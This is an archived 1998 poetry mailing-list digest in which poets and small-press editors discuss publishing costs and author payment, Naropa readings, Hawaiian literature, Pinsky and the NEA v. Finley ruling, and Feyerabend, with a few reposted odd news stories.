Worth a detour.

All of us involved with the poetry publishing documented here owe the curators a huge debt of thanks in making this work so visible and for the enormous care and intelligence they brought to the mounting of this show. It is very good news that an extensive and detailed catalog, with many statements from the press editors and many reproductions, and of course detailed bibliographic information, as well as an introduction by Jerome Rothenberg, is forthcoming from the library and Steve Clay's Granary Books. I am sure more will be posted on this soon.

for more information on the show:
http://www.nypl.org/admin/pro/press/secret.html

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66. joel lewis
f.y.i.
Thu 2 Jul 1998

*** Fla. man says injured by dancers' breasts

A Florida man has filed suit against a nightclub, claiming he suffered whiplash when a topless dancer knocked him out with her oversized breasts, the Tampa Tribune reported Wednesday. "Apparently she jumped up and slammed her

breasts on my head and just about knocked me out," the newspaper quoted plaintiff Paul Shimkonis as saying. Shimkonis, 38, filed suit seeking more than $15,000 in damages from the Diamond Dolls club. The dancer, known as Tawny Peaks, was not named in the lawsuit. According to the lawsuit, Shimkonis and friends visited the bar on Sept. 27, 1996. Because he was the guest of honor, the dancers asked him to sit on a low chair, rest his head on the back of the chair and close his eyes. The lawsuit said Peaks danced in front of him, and without warning or consent "jumped on the plaintiff forcing her very large breasts into his face causing his head to jerk backward." (Reuters)

*** Bingo - the scourge of Albanian marriages

Divorce in Albania is increasingly being blamed on husbands' passion for chance games - particularly bingo - a newspaper said Wednesday. Bingo and booze were cited as the deciding factor in half of all divorce cases lodged at the courts of Europe's most impoverished country in the last three months, the daily Gazeta Shqiptare said. The burgeoning obsession with bingo has pushed the traditional causes for divorce - adultery and violence - to under a third of all complaints. (Reuters)

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67. juliana spahr
hawaii/esperanto/summi
Thu 2 Jul 1998

Never heard of anyone learning Esperanto here but what do I know? It sounds possible. Although weird I admit.

Are you sure they don't mean Hawaiian? Hawaiian is the other official state language (it is in the constitution--Hawai'i might be the U.S.'s only in name bi-lingual state; anyone know?; but the state really acts like it is monolingual--you can't, although you should be able to, get a drivers permit in Hawaiian).

There are Hawaiian immersion schools here (you learn the U.S. curriculum in Hawaiian; schools still must meet what the mainland determines as important to learn--a continual complaint). And Hawaiian is being relearned and rewritten as a result. It was close to dead at one time. Lots of discussion about the "new" Hawaiian not being "real" Hawaiian. Etc. Similar to Ireland.

Re: Summi's questions...

Filipino community has been split, of course. Jessica Hagedorn has come out in support of the book as fiction. Michelle Cruz Skinner also. Several other writers against. Don't know abou Alarcon.

Candace Fujikane actually addresses the _Bluest Eye_ issue in her work. She argues that Bluest Eye contextualizes the rapist (that moment when readers see into him) and thus places his rape in context. _Blue's Hanging_, she argues, does not do this.

I think the Japanese v. Filipino issue comes to play here in Hawai'i more than elsewhere where Japanese-Americans are part of the system (the government, the hotel industry, the fancy houses, etc.) while Filipinos still tend to not be part of that system. Us v. them, in its many forms, might be the trope of Hawai'i anyway.

Although, Summi, I agree with you that this issue is hard to sort out. In Yamanaka's work there is this examination of sexuality (which is so necessary here--sexuality issues seem to be on the back burner to a disturbing degree; I just went to a reading where the U.S.'s colonialism was compared to butt fucking and the poem said that no one could possible like either). There is this reply to Hawai'i as "paradise" that feeds the tourist industry. There is this valuation of pidgin (which is such a relief to many students who have been told things like not to speak pidgin even on the playground in grade school and are angry about it). All good things.

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68. Pritchett,Patrick
Re: Another Dispatch from Naropa
Thu 2 Jul 1998

Three weeks of non-stop poetry and some 8000 words of improvised, impressionistic (and frequently stilted) reporting from Naropa have left me exhausted. I+d decided I was more or less finished with these posts, but the dulcet Jane Dalrymple Hollo convinced me last night to keep going, albeit with briefer posts. Okay, I said. Once more into the murky etcetera.

Last night+s reading (July 1) featured Ali Zarrin, Kai Nimenen, Lorna Dee Cervantes and Victor Hernandez Cruz.

Ali read first from his own work, a long, headstrong rush of a poem, beautifully cadenced, about coming to America, followed by a formal and very lovely metaphysical love poem, this latter prefaced by a funny letter from Ginsberg telling Ali to forgo this sort of rot and adhere to the doctrine "no ideas but in things." These were followed by marvelous translations of Hafiz and Attar from classical Persian, including ghazals.

Kai Nimenen+s delivered his poems in Finnish, with Anselm Hollo providing the English. Kai, who is extraordinarily modest in person, possesses a very deft sense of wit and these poems, with their affectionate examination of the ironies

and absurdities of our age, had the audience in stitches. I don+t know if a translation of his work exists yet in English but I highly recommend him all the same.

Lorna Dee Cervantes began her reading with a very candid erotic poem, then read from a long section of her forthcoming _Drive_ entitled "Coffee." "Coffee" is an impassioned litany of the atrocities committed by Mexican troops against the people of Chiapas. As a political tract, it+s fairly compelling; as poetry, somewhat less so. Propelled by the best of intentions, it belongs to the genre of the poetry of mere denunciation -- whose chief aim is to whip the poet and maybe the listener as well into a froth of righteous indignation. A woman two seats over from me was moved to tears by this brow-beating work. I found it to be over-the-top: hyperbolic, full of dramatic posturing, self-importance and stale, outworn language. Maybe I+m just too damned obtuse.

Victor Hernandez Cruz closed the evening. Watching his expansive gestures, arms flying over the lectern, feet shifting as in some slow-motion tango, it was easy to see why he+d claimed the Taos Heavyweight Whatchamacallit two years in a row. At times he seemed poised over his poetry like some great ferruginous raptor, ready to impale the very lines he read by a sheer act of will. Some poems were in English, some in Spanish. The wit was sharp, the passion exuberant, the language vivid. He may have read a little too long, judging by the weary looks of fellow listeners. But how can you begrudge a poet who invites everyone to join him for salsa dancing the next night at a local bar?

Patrick Pritchett

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69. R. Gancie
To sum up:
Thu 2 Jul 1998

"To sum up: wherever we look, whatever examples we consider, we see that the principles of critical rationalism (take falsifications seriously; increase content; avoid ad hoc hypothesis; 'be honest'--whatever that means; and so on) and a fortiori, the principles of logical empiricism (be precise; base your theories on measurements; avoid vague and unstable ideas; and so on)give an inadequate account of the past development of science and are liable to hinder science in the future. They give an inadequate account of science because science is much more 'sloppy' and 'irrational' than its methodological image. And, they are liable to hinder it, because the attempt to make science more 'rational' and more precise is bound to wipe it out, as we have seen. The difference between science and methodology which is such an obvious fact of history, therefore, indicates the weakness of the latter, and perhaps of the 'laws of reason' as well. For what

appears as 'sloppiness', 'chaos' or 'opportunism' when compared with such laws has a most important function in the development of those very theories which we today regard as essential parts of our knowledge of nature. These 'deviations', these 'errors', are preconditions of progress. They permit knowledge to survive in the complex and difficult world which we inhabit, they permit us to remain free and happy agents. Without 'chaos', no knowledge. Without a frequent dismissal of reason, no progress."---from Against Method by Paul Feyerabend---cp

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70. David Baratier

Re: publish poetry?

Thu 2 Jul 1998

What charles describes is not unique among _fine_ press publishers. My friend Brian Richards at Bloody twin press expects the authors to chip in because the papers he uses or has people make for him are very expensive, Gary Metras at Adastra expects authors to chip in with time to produce (hand set galleys) and a minimum number of books sold. They are well worth it. Look at Ted Enslins _Music in the Key of C_ by Bloody twin or _Niagara Falls_ by Jim Daniels by Adastra. A book worth owning every page of like chax and granary.

While I admire the fine press trade, unfortunately, I am a publisher, primarily because I move around too much to have one of those things in my basement. I can work out a better deal in copies and cash but the production value is not even close to comparable. Then we are back to Sheila's statement which buoys it up.

By the way charles, Adastra printed the larger run books on not as fine a run, like yr PB book, and seems facing a similar quandry.

Be well

David Baratier

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71. Safdie Joseph

Re: Various Items; Federal Poetry

Thu 2 Jul 1998

Thanks to Linda Russo for that info about Alice and Doug's new publication -- it sounds great! Perhaps there's hope for the _Impercipient Lecture Series_ to re-emerge after all . . .

Thanks to Charles Alexander for his dedication and his consistently interesting and absorbing posts.

I recently subscribed to _American Poetry Review_ for the first time in many moons -- I used to look at it every now and then in the early 80s, and must have gradually considered it too "mainstream" (though I know that's a loaded word) -- at any rate, it seems these days to be a fairly attractive mix, still mostly loaded with recent MFA grads, but Ann Lauterbach has a interesting column in the current issue, which also reprints Stein's "What are Masterpieces". And there's also a poem by Jeff Clark (whose poems, I think, recently made an appearance on the list) -- he's identified as "an agent in the Federal Bureau of Investigation's PHO Unit."

This takes me aback. Does anyone know, first, what the "PHO Unit" might mean? And second . . . isn't it a little MUCH for a poet to be a member of the FBI? Insurance vice-presidents are one thing, but this just seems beyond the pale to me! An "extra-textual" consideration, to be sure, but I'd welcome any comment about this . . . choice of profession.

CNN has now retracted the nerve gas story that was discussed here two weeks ago. So I guess we can all go back to trusting the government now. I dunno Pat -- I wasn't there, of course, but I could use a little righteous indignation every so often . . . didn't Blake call it "the voice of God" in "The Marriage of Heaven and Hell"?

Joe

↑ Index

72. J. Pecqueur

Re: racist poetics; a retort to Brent Long's posting

Thu 2 Jul 1998

Did I really read _institutional racism_ in a previous post? And I had begun to worry about the metaphorical state.

To define a metaphor against the crowd of people that
protest against them. This is neither of our businesses. Spicer

Maybe I'll take that underemployed nap now.

Polemics so wear me out.

J.P.

↑ Index

73. Mark Weiss
Re: Various Items; Federal Poetry
Thu 2 Jul 1998

Pho are vietnamese noodles, usually served in soup. The FBI investigates the messages hidden in the noodles (written in cursive script, natch). Hope that's helpful.

And there's also a poem by
>Jeff Clark (whose poems, I think, recently made an appearance on the
>list) -- he's identified as "an agent in the Federal Bureau of
>Investigation's PHO Unit."
>
>This takes me aback. Does anyone know, first, what the "PHO Unit" might
>mean?

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74. morpheal
Re: publish poetry?
Thu 2 Jul 1998

> *call it what you will, charles, just please keep it coming*
> *three cheers bill*
>
> *Chax Press is nonprofit, and I'm the founder and executive director and one member of the board of directors.. Technically that means, among many other things, that the money to publish books is not supposed to come out of my pocket, or pockets of members of the board of directors -- ..... I have managed to get thousands of dollars into debt because I have chosen to publish poetry. As a result, in part of my own foolish commitments, less books were published by the press from 1993-1997 than in the four years preceding that. Only in 1998, for the first time in a long time, has Chax managed to publish more than four books in a year, and that only because I decided to make a commitment to publish managable chapbooks which are elegantly made but which don't take a lot of money to produce.*

That is more realistic. Though I do not know of any "non profit" presses of that kind in Canada, that are in fact surviving. There are a few that have gone de-funct, that tried to do it, but lost too much money.

> *it is, there have been many times when I have thought that Chax should return to the practice, pre-1990, of publishing only handmade limited editions, and not venturing into the more commercial bookpublishing world at all -- but so far I haven't made that decision.*

There is a small market for that also. There are a few small publishers, artisans really, who do that kind of thing, here also.

> *So, is Chax a publisher? I got into this work primarily because I wanted to make books by and to some extent with, poets -- to design them, to make them by hand, and to help them get out to some readers.*

Yes, definitely a publisher, and without such publishers chancing to be lucky enough to be able to survive, freedom of expression, diversity in literature, and in fact a lot more that we value and take for granted, would not have any chance to survive either.

It is more important than you think it is.

> *paid them in copies. I am still making difficult choices with each book in terms of how to pay for it,*

That is a lot more than authors get for having to PAY to have a chapbook published, per copy, cost plus margin.

M.

↑ Index

75. William Burmeister Prod
Re: Various Items; Federal Poetry
Thu 2 Jul 1998

> *And there's also a poem by*
> *Jeff Clark (whose poems, I think, recently made an appearance on the list) -- he's identified as "an agent in the Federal Bureau of Investigation's PHO Unit."*
>
> *This takes me aback. Does anyone know, first, what the "PHO Unit" might mean? And second . . . isn't it a little MUCH for a poet to be a member of the FBI? Insurance vice-presidents are one thing, but this just seems beyond the pale to me! An "extra-textual" consideration, to be sure, but I'd welcome any comment about this . . . choice of profession.*

I had let my subscription run out on that photo-opportunity fest, so like J.Carson, "I didn't know that." I've been had! Now I have to tear down my Jeff Clark poster. Fuck! (Maybe I can hang the Jeff Clark poster next to my agent Scully and Molder posters). Now I suppose Lois Yamanaka works for Hawaii five-O too?

I'm sure glad Muriel Rukeyser isn't here to see this.

Billyum

↑ Index

76. William Burmeister Prod
Re: hawaii/esperanto/summi
Thu 2 Jul 1998

> *"In Hawaiian schools, for example, the study of Esperanto is a basic part of that state's innovative English program"*
>
> *Never heard of anyone learning Esperanto here but what do I know? It sounds possible. Although weird I*
> *admit.*
> *Are you sure they don't mean Hawaiian?*

It is strange I admit. Came from the ELNA(Esperanto) web page. They never backed the claim with more details tho.

↑ Index

77. Karen Kelley
Re: publish poetry?
Thu 2 Jul 1998

[redacted] wrote:

> *Looking at little magazines, some of them very inexpensively made, and looking at web zines, less expensive still, we'd need to ask the question, "Why submit work there?" Often, it's the quality and the thinking behind the selection that attracts us.*

This is so true: the best reason to publish anywhere is that you are pleased to have your work included alongside the work of other writers the mag/website/publisher presents.

↑ Index

78. Patrick Phillips
Re: Secret Location: Last Weeeks
Thu 2 Jul 1998

I'll never forget the look on the faces of all these people as they entered the room for the first time. It was as if they had seen a ghost. There they were, hands on their hips , some staring off in the pigmented distance. Some looking straight-on in their nakedness said; "this is us." "We are these who they recognize."

Beyond this they didn't know what to think.
We all had a party after. The Bowery was never the same...

↑ Index

79. David Baratier

Re: payment

Thu 2 Jul 1998

I wrote:
>>I can say that every book our press has published has paid its authors in copies plus a cash amount. The industry standard in small press publishing is 10 to 15% of press run usually paid in copies, we do a little better.

Morpheal wrote:
>That is rare to non existent in Canada. At least in Southern Ontario, and as far as I know throughout the country.

I just got back from Toronto and heard no such thing from the folks I met with there. I didn't pay money to read either.

George wrote: "What this person is saying is simply not true. In fact it is an enormous distance from the truth. When I first saw the statement in an earlier post I thought the source was the USA. I dont know who he is. I have never run across his name outside this e-mail set. But I have been involved in Canada as a poet, publisher and editor for many years. It would be hard to find a publisher of poetry in Canada that does not pay the poets---unless one is talking about a little local mimeo outfit somewhere."

George, I have and have seen a number of your books and its a good thing you didn't have to self publish them. You would have to be the richest poet in Canada.

Be well

David Baratier

Mr. Shmeederer shows he knows nothing of either restaurant prices or the Four Quartets. Eliot himself felt $17.50 for good chicken tetrazzini was (I quote from an interview in Partisan Review) "not out of line." Indeed, in The Dry Salvages, Eliot imputes this very notion to Krishna, though not precisely in those words.

↑ Index

80. morpheal

Re: You woulda never known your uncle [but uncle knew about the lack of MANAGEMENT in global problem solving]

Thu 2 Jul 1998

> *"The "hot" issues of environmentalism--the possibility of major global warming, the ozone "hole," species impoverishment, overpopulation and its consequences--are issues that would be unknown and unknowable but*

> *for the accomplishments of professional science. They exist only because of, and specifically as products of, science."---from Higher Superstition: The Academic Left and its Quarrels With Science by Paul R. Gross and Norman Levitt*

1). Global warming can be alleviated by existing technologies being more rapidly perfected and implemented. This includes world wide effecting of gaseous emissions control technologies in factories and in transportation. This also includes implementions of new motive technologies utilizing such means as electromagentism, and hydrogen engines.

2). The ozone depletion can be reversed using technology, if necessary. Ozone is not that difficult to manufacture, if necessary.

3). Overpopulation is solvable, by means of education and technology.

4). Species impoverishment requires an effort to map and store the genetic code of all species that are known to be in danger, or are rare and known to exist. This is currently possible. Replication of those species in the future, on this or other planets, will then be equally possible, for whatever purposes. When world population is under control and brought to a more viable level as to long term quality of life for all the wildlife areas, the preserves, can be re-established and restocked for human enjoyment.

There is one problem that defies solution. That is MANAGEMENT.

There is lack of management skill, and management effort, in identifying the real problems, analyzing the properly, identifying potential solutions, proving those, and implementing them on a large enough scale to be effective. There is quite a lot of management in effect as to profit margins. The two factors, of management of those kinds of problems and management of profit margins need not be in conflict with each other. The two can be synonymous rather than oppositional. It is only a problem of how you happen to look upon it. Marxism always teaches seeing it as irremediably oppositional, as dialectic, as conflict that can only be resolved by violence of one side against the other. We are brain washed too easily into Marxist dialectics and fail to see it any other way, even in North America. When we are, it makes us into absolute fools, and marxism potnetially becomes a self fulfilling prophecy. In fact it is not a dialectic between profits and global problem solving where the problem cause is constantly being attributed to the quest for profits. That making of a devil out of profit fails to see that it is not profit that is the evil, but how, specifically, the profit happens to be made.

Martin Heidegger in his consternation about modern technology and what he saw as its horrors said "only a god can save us". The was lamenting the failure of technology to be the great liberator that it once promised to be. He was

wrong. A god could never save us. Without proper managment even a god would fail miserably at the task.

So far I see almost no MANAGEMENT in any significant global problem area.

> *"The reduction of one unsolved problem to another is some sort of progress, unsatisfying though it may be, but it is not an option in this case. The frame problem is not the problem of induction in disquise.*

There potentially is a practical, or at least effective, solution for every world problem, of the kinds mentionned. Many of the existing solutions are the same as applying a tourniquette to an open wound. The bleeding is reduced, but if nothing else is done the limb is completely lost. If the tourniquette is loosened once in a while, the process of bleeding to death is usually prolonged, or the limb is lost anyway. Essentially that is what the ecological movements, the environmentalists, and others, have been doing. They have been attempting to convince people to apply tourniquettes to the wounds, rather than actually solving the underlying difficulties. Instead of coming up with new effective solutions to the problems they have a "do without" mentality. That is only a tourniquette. It is not a solution to the problem. We have to get out of that mode of thinking.

M.

aka Bob Ezergailis

↑ Index

81. Erik Sweet
Jeff Clark aint a fed
Thu 2 Jul 1998

I doubt very much that Mr. Clark is a fed...
even if he was who cares...

do all of you that would have a problem with this have a nice
clever list of jobs that are acceptable for a "poet"
good for you.

rulesthatwillgetyounowhere

erik sweet

↑ Index

82. toddbaron
Re: publish poetry?
Fri 3 Jul 1998

---

the only real reason to publishis to have dialogue.
a dialogue that engages both a reader and a writer:

as one /the same. No matter a stapled rag
or Sulfur. The work's to be read, anyway,
isn't it?

↑ Index

83. **toddbaron**
Re: publish poetry?
Fri 3 Jul 1998

---

the only real reason to publishis to have dialogue.
a dialogue that engages both a reader and a writer:
as one /the same. No matter a stapled rag
or Sulfur. The work's to be read, anyway,
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>
> [redacted] wrote:
>
> > Looking at little magazines, some of them very inexpensively made, and looking
> > at web zines, less expensive still, we'd need to ask the question, "Why submit
> > work there?" Often, it's the quality and the thinking behind the selection
> > that attracts us.
>
> This is so true: the best reason to publish anywhere is that you are pleased to
> have your work included alongside the work of other writers the
> mag/website/publisher presents.

↑ Index

84. **david bromige**
payment or perish
Fri 3 Jul 1998

George Bowering, David Baratier, _is_ the richest poet in Canada.

As a footnote, I will add that i have never received payment other than in books, from any of my Canadian publishers. (This info may be incorrect; I could have been given money which I spent and then forgot about.) I have never paid to be published there--nor here, in the U S of A. But many do, one way or another; if you have the funds, many small presses will appreciate your donation. There is no way any so-thought "poetry world" can make itself different from the wave of history. Is there? So money is allowed to talk. Good for money.

In Canada, leastways, were one to pay to publish a book, one might, over the years,and given it is at least 48 pp long, recoup the outlay through the Library Roaylties Fund. In the USA, no such system of recourse exists. I register your complaint, & await suggestions for its removal.

db3

↑ Index

85. Robert Archambeau
Re: Pinsky on the NEA vs. Finley
Fri 3 Jul 1998

Ron Silliman wrote:

> *In yesterday's NY Times, poet laureate Robert Pinsky declines to comment on the US Supreme Court's ruling in the NEA vs. Karen Finley case on the grounds that he has yet to read the decision.*
>
> *I guess that this is an area into he doesn't want to tread simply based on some principle like the freedom of speech without a lot of additional research. Unlike his recent foray into educational policy.*
>
> *Kind of makes you feel special about the post of poet laureate, doesn't it?*

I understand that you don't much care for Pinsky and what he stands for, but this really isn't fair, Ron. You can't have it both ways, first getting angry with RP for (among other things) not doing his homework, then getting angry with him for wanting to look into things in detail before making a statement.

Robert Archambeau

↑ Index

86. Robert Archambeau
Re: Pinsky on the NEA vs. Finley
Fri 3 Jul 1998

> *this is exactly one of those moments when "not doing one's homework" and offering as an excuse that one hasn't read the assignment carefully enough translate into the same thing.*

Maria,

If RP chooses to make no statement, you may have a point -- that silence could be eloquent. But right now it is entirely knee-jerk anti-establishmentism to condemn Pinsky. I believe that an informed opinion a day late is generally better, and more powerful, than a facile opinion delivered off the cuff. Perhaps you and I feel differently about this.

R.A.

↑ Index

87. **rsillima**
Pinsky on the NEA vs. Finley
Fri 3 Jul 1998

In yesterday's NY Times, poet laureate Robert Pinsky declines to comment on the US Supreme Court's ruling in the NEA vs. Karen Finley case on the grounds that he has yet to read the decision.

I guess that this is an area into he doesn't want to tread simply based on some principle like the freedom of speech without a lot of additional research. Unlike his recent foray into educational policy.

Kind of makes you feel special about the post of poet laureate, doesn't it?

Just so that you don't find yourself in the same foolish predicament, the entire ruling can be found at:

http://supct.law.cornell.edu/supct/html/97-371.ZS.html

I'd reproduce it here, but it's 33 pages long. Definitely worth a read, though. Somebody should tell
Pinsky.

Ron Silliman

↑ Index

88. **cris cheek**
Re: Conditions For Writing
Fri 3 Jul 1998

As part of the King's Talk series:

augmented line-up for this one day long event.
PLEASE remind all you know and see who might be able to get there. It looks set to be a shaker.

READINGS, PERFORMANCES, DISCUSSION and INTERACTION

between:

Caroline Bergvall
Karlien van den Beukel
Miles Champion
cris cheek
Andrew Duncan

Khaled Hakim
Sianed Jones
Drew Milne

SATURDAY 4th JULY 1998. 10:00am - 4pm. Connaught Hall, Tavistock Square. London WC1 (Southwest side of the square; Euston / Euston Sq Tube stops)

Suggested Donation: £4 and 2 pounds (waged / unwaged).

10.00 - 10.15 arrivals

10.15 - 11.00 cris cheek - Sianed Jones

11.00 - 11.45 Scenes / Values / Generations / Gender
Miles Champion - Karlien Van Den Beukel

11.45 - 12.30 Academia / Practice
Caroline Bergvall - Drew Milne ('The Embarassment of the Blurb')

12.30 - 13.15 Interactive Reading by all of those above

13.15 - 14.30 Lunch

14.30 - 15.15 Poetics / The Social
Andrew Duncan ('Impersonality, Legitimacy, and Prestige in Modern Poetry')
Khaled Hakim ('The Way to Nothingness')

15.15 - 16.?? Round Table Discussions (stockpile of Audience Questions and and)

looking forward

love and love
cris

↑ Index

89. **morpheal**

Re: To sum up: [the idea projected onto world as revelatory of the world's presentation of meaning, is a schizophrenic reading into world as the text which is being deciphered by intelligence]

Fri 3 Jul 1998

> *"To sum up: wherever we look, whatever examples we consider, we see that the principles of critical rationalism (take falsifications seriously; increase content; avoid ad hoc hypothesis; 'be honest'--whatever that means; and so on) and a fortiori, the principles of logical empiricism (be precise; base your theories on measurements; avoid vague and unstable ideas; and so on)give an inadequate account of the past development of science and are liable to hinder science in the future.*

The absolutely false statement that if we cannot measure it it does not exist becomes the most unreasonable, when it was once the most reasonable attitude. Old Bill had it right when he wrote about there being more things in the heavens and upon earth than are dreamt of in your philosophies [meaning natural philosophy, therefore sciences].

> *They give an inadequate account of science because science is much more 'sloppy' and 'irrational' than its methodological image. And, they are liable to hinder it, because the attempt to make science more 'rational' and more precise is bound to wipe it out, as we have seen. The difference between science and methodology which is such an obvious fact of history, therefore, indicates the weakness of the latter, and perhaps of the 'laws of reason' as well. For what appears as 'sloppiness', 'chaos' or 'opportunism' when compared with such laws has a most important function in the development of those very theories which we today regard as essential parts of our knowledge of nature.*

Science is highly _intuitive_. This is likely why Newton was drawn to esoteric discussions of "revelation". This is why Einstein said "I cannot believe that god plays dice with the universe". Of course there is a problem of scientific intuition and intelligence coming up against millenia of non scientific programming. Every scientist therefore internally conflicted and many a scientist highly courageous in going painfully against the conservative nature of the a-priori programming inherent from a highly irrational, ideological, human history by nature, and a similarly irrational and ideologially tainted contextual situatedness of nurture. Some of the latter being education.

> *'deviations', these 'errors', are preconditions of progress. They permit knowledge to survive in the complex and difficult world which we inhabit, they permit us to remain free and happy agents. Without 'chaos', no knowledge. Without a frequent dismissal of reason, no progress."---from Against Method by Paul Feyerabend---cp*

Intelligence seeks patterns of _order_ in what appears to be _chaos_. True intelligence finds them there, where they were previously overlooked and disregarded. The intuition of orderly presentation and conveyance, of therefore useful, information where there previously appeared to be only chaotic and indecipherable.

Sometimes what appears to be wholly chaotic appears that way solely because our methods of observation, and our paradigms for understanding what we observe, _determine_ it to appear that way. It is not that way at all, but until our methods and our paradigms change that is the appearance, the maya, of it. Our methods of observation and our paradigms, are what cause us to observe only the shadows in the cave. Plato failed to recognize that he was only describing the error and not the overcoming of that very same error. He placed his existing paradigms, historically situated as they were, above the realities in

themselves, as something not only determinative as paradigmatic, but also as more desirable. He believed science was doomed to an eternal quagmire of maya, watching the shadows dance on the walls of the cave. The Hindu term "maya" is most applicable. We have no true correlate to that term in English. Meaning as the finding or order where there appeared to be chaos, comes suddenly, as intuitive insight.

True intelligence means breaking thought free from worship of existing paradigms. It means giving the ideas a shadow existence, metaphorically on the walls of the skull cave, as opposed to the realities of things in themselves. True intelligence then allows the thing to be, to reveal, to show its various patterns of order from the apparent chaos, uninterceded by the often ideological paradigmatic determinations that previously offered up only certain patterns and not others. Some of those patterns were in fact false readings into the text and some of science was as though a schizophrenic babbling meanings where there were none. The ideas in the mind had taken precedence and superimposed over the external observables. The pattern found, as precedent idea, where there was in fact no such pattern.

As science becomes more willing to abandon previous theories, and even previous paradigms, as determinative of what is considered meaningful, it becomes less schizophrenic and more in touch with natural reality. There is a seeing through some of the maya, and a rise in true intuitive insight. We might say that Plato's viewpoint leads to a schizophrenic and religious mentality where at least some ideas are elevated above all else and held to be sacred. Reality is then defined, meaning read into the world, based on those mental products. Plato was the problem and science is tending towards overcoming that viewpoint. In some regards Philosophy has continued to lead the way, as there have been many philosophical attempts during this century to grapple with Platonism's excessive influence. An influence which had been used and bolstered up for centuries by religion, which is too often essentially schizoid or schizophrenic at its core being ideas created by human minds and then superimposed upon the world to determine what can be considered as being, and what cannot be included as having being, whether in fact imaginary or real.

M.

aka Bob Ezergailis

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90. Miekal And
trancendentalism
Fri 3 Jul 1998

"Book Fungus Can Get You High"

By Ellen Warren / Chicago Tribune

CHICAGO -- Getting high on great literature is taking on a whole new meaning. It turns out that, if you spend enough time around old books and decaying manuscripts in dank archives, you can start to hallucinate. Really.

We're not talking psychedelia, "Lucy in the Sky With Diamonds" stuff, here. But maybe only a step or two away from that.

Experts on the various fungi that feed on the pages and on the covers of books are increasingly convinced that you can get high - or at least a little wacky -- by sniffing old books. Fungus on books, they say, is a likely source of hallucinogenic spores.

The story of The Strangeness in the Stacks first started making its way through the usually staid antiquarian books community late last year with the publication of a paper in the British medical journal, The Lancet.

There, Dr. R.J. Hay wrote of the possibility that "fungal hallucinogens" in old books could lead to "enhancement of enlightenment."

"The source of inspiration for many great literary figures may have been nothing more than a quick sniff of the bouquet of mouldy books," wrote Hay, one of England's leading mycologists (fungus experts) and dean of dermatology at Guy's Hospital in London.

Well, said an American expert on such matters, it may not be that easy.

"I agree with his premise - but not his dose. It would take more than a brief sniff," aid Monona Rossol, an authority on the health effects of materials used in the arts world.

For all the parents out there, these revelations would seem ideal for persuading youngsters to spend some quality time in the archives.

But attention kids: You can't get high walking through the rare books section of the library.

Rossol said it would take a fairly concentrated exposure over a considerable period of time for someone to breathe in enough of the spores of hallucinogenic fungus to seriously affect behavior. There are no studies to tell how much or how long before strange behavior takes hold.

Still, this much seems apparent - if you want to find mold, the only place that may rival a refrigerator is a library.

Just last week the Las Cruces, N.M., Public Library was closed indefinitely, prompted by health concerns after a fungus outbreak in the reference section.

Library director Carol Brey said the fungus promptly spread to old history books and onward to the literature section.

The town's Mold Eradication Team, she said, shuttered the library as a precaution. "We didn't want to take any chances," she said. A mold removal company will address the problem, which is believed to have originated in the air conditioning system.

Psychedelic mushrooms, the classic hallucinogenic fungus, derive their mind-altering properties from the psilocybin and psilocin they produce naturally.

One historic example of this phenomenon, scientists now believe, is the madness that prevailed in the late 1600s in Salem, Mass., where ergot, a hallucinogenic fungus, infected the rye crops that went into rye bread. Ergot contains lysergic acid, a key compound of the hallucinogenic drug LSD. This tiny fungus and its wild effects on the rye-bread-eating women may have led to the Salem witch trials.

Rossol, a New York chemist and consultant to Chicago's Field Museum of Natural History who publishes the newsletter Acts Facts, the journal of Arts, Crafts and Theater Safety, said that there have not been scientific studies on the hallucinogenic effects of old books.

But, relying on accounts from newsletter readers who report their own strange symptoms - ranging from dizziness to violent nausea - she says there is no doubt that moldy old volumes harbor hallucinogens.

↑ Index

91. Douglas
Re: Pinsky on the NEA vs. Finley
Fri 3 Jul 1998

Ron,

You should also not who did bravely speak out
(and has in the past)--poet/playwright Mac Wellman
spoke strongly against the supreme court decision.
And he couldn't even research the issue, since he
was in Ireland on a visit. Mac also wrote a play
about the whole issue, 7 Blowjobs, thanking the endowment
for support (despite the fact they asked him to remove
their name) and dedicated it to "those supreme clowns
of our sad time, Jesse Helms and Donald Wildomn; also
to Representative Dana Rohrabacher and the Reverend Pat
Robertson, because they have shown such an abiding interest
in my work. These gents (God help them!) compreise the

Four Horsebrained Horsemen of our Contemporary Cornball
Apocalypse."

When the decency clause was enacted, Sun & Moon Press
refused to apply for the NEA and wrote letters of protest
to the then-chairman and congressman. The governor of
the great state of California (then mayor of San Diego
and serving on the National Council) was the only one
to write back.: he believed in censorship, he proclaimed!

Mac has certainly stood out as a hero in all of this over
the years.

Douglas Messerli

[redacted] wrote:
>
> In yesterday's NY Times, poet laureate Robert Pinsky declines to comment on
> the US Supreme Court's ruling in the NEA vs. Karen Finley case on the
> grounds that he has yet to read the decision.
>
> I guess that this is an area into he doesn't want to tread simply based on
> some principle like the freedom of speech without a lot of additional
> research. Unlike his recent foray into educational policy.
>
> Kind of makes you feel special about the post of poet laureate, doesn't it?
>
> Just so that you don't find yourself in the same foolish predicament, the
> entire ruling can be found at:
>
> http://supct.law.cornell.edu/supct/html/97-371.ZS.html
>
> I'd reproduce it here, but it's 33 pages long. Definitely worth a read, though.
> Somebody should tell
> Pinsky.
>
> Ron Silliman

↑ Index

92. Billy Little
Re: payment
Fri 3 Jul 1998

---

thank you George. Sometimes i pretend an opera buffo from the nineteenth century has intercepted our electrons and this man is singing in a language that

means exactly the opposite of what it says. You can be pretty sure, if he sang it it's wrong.I'd rather laugh than cry.

billy little
4 song st.
nowhere, b.c. V0R1Z0

...like
this - everytime i write a
poem - i'm afraid - when
i'm dead it will sell
& some other poet will
starve because no one will
buy his poems...

d.a. levy

↑ Index

93. Billy Little
Vaincouber Weeport
Fri 3 Jul 1998

